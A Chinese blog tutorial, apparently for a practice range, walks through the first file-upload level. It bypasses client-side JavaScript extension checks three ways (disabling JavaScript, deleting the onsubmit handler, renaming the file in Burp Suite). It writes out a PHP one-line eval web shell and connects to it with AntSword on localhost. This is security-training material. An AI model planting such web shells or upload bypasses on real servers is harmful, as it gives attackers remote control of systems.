手拿乾坤圈,脚踩缝纫机——文件上传漏洞篇(二)

前言

学习内容:前端JavaScript验证
这个靶场唯一的一节前端验证的关卡,后面均是后端验证(即:需要抓包分析)

需求分析

打开靶场第一关,要求上传一张图片,但是我们需要上传木马文件,进而获取服务器权限。
在这里插入图片描述

靶场测试

当上传不符合要求的文件时,会提示报错信息,要求上传图片文件。
在这里插入图片描述

代码审计

F12查看网页源代码

  • 上传按钮处右键单击
  • 在弹出的菜单中选择检查选项
  • F12查看器处可以看到对应的代码信息

在这里插入图片描述

将上图中红框中的代码复制出来,进行分析。

<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
	<p>请选择要上传的图片:</p><p>
    <input class="input_file" type="file" name="upload_file">
    <input class="button" type="submit" name="submit" value="上传">
    </p>
</form>

在代码的第一行的结尾处,可以看到,当进行表单提交时(onsubmit),会执行函数checkFile()
切换到调试器,搜索一下,看一下可不可以找到checkFile()函数的定义。
在这里插入图片描述

单击匹配到的checkFile()函数,发现可以找到对应的源码定义。
在这里插入图片描述

checkFile()源码分析

function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }

代码前五行,用于检查是否上传文件。
var allow_ext = ".jpg|.png|.gif";定义了允许上传的文件类型
后面的代码是判断上传的文件的后缀名是否与allow_ext定义的后缀信息是否匹配

  • 匹配:允许上传
  • 不匹配:不允许上传,返回False

漏洞利用

方式一:禁用JS

F12打开调试器,找到设置选项
在这里插入图片描述

禁用JavaScript选项勾选上,默认有勾选。
在这里插入图片描述

上传木马

新建一个php文件,写入一下内容:

// 字符串 x 是密码
<?php @eval($_POST['x']); ?>

在这里插入图片描述

将木马文件进行上传
在这里插入图片描述

右键单击上传的图片,然后选择新建标签页打开图像
在这里插入图片描述

获取木马文件的所在路径:http://127.0.0.1/upload/upload/muma.php
在这里插入图片描述

连接木马

打开蚁剑,连接木马文件。右键单击空白处->添加数据
在这里插入图片描述

设置URL地址和密码
在这里插入图片描述

设置完成后,单击左上角的添加按钮即可
在这里插入图片描述

双击即可连接远程服务器
在这里插入图片描述

方法二:删除HTML代码

F12找到form标签中的onsubmit="return checkFile()",将这句代码删除掉
在这里插入图片描述

删除后的效果如下图所示:
在这里插入图片描述

上传木马文件
在这里插入图片描述

上传成功,查看木马网页所在位置
在这里插入图片描述

连接木马实现远程登录服务器
在这里插入图片描述

方式三:抓包修改请求信息

将上面新建的一句话木马文件的后缀名改为.jpg(即将muma.php改为muma.jpg),内容保持不变。
在这里插入图片描述

打开Burp suite,抓取上传信息
在这里插入图片描述

在这里插入图片描述

将上传文件的后缀名进行修改
在这里插入图片描述

muma.jpg改为muma.php,修改完成后,单击Forward按钮进行发送。(需要点击两次Forward
在这里插入图片描述

返回浏览器,看到文件成功上传。
PS:之所以修改后可以成功上传,是因为本关采用的是前端验证,后端没有进行任何的验证。
在这里插入图片描述

右键单击图片,查看木马文件所在的路径
在这里插入图片描述

查看木马文件所在路径:http://127.0.0.1/upload/upload/muma.php
在这里插入图片描述

使用蚁剑进行连接,过程与上面一致,不过多赘述,这里脂肪最后的效果图。
在这里插入图片描述

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值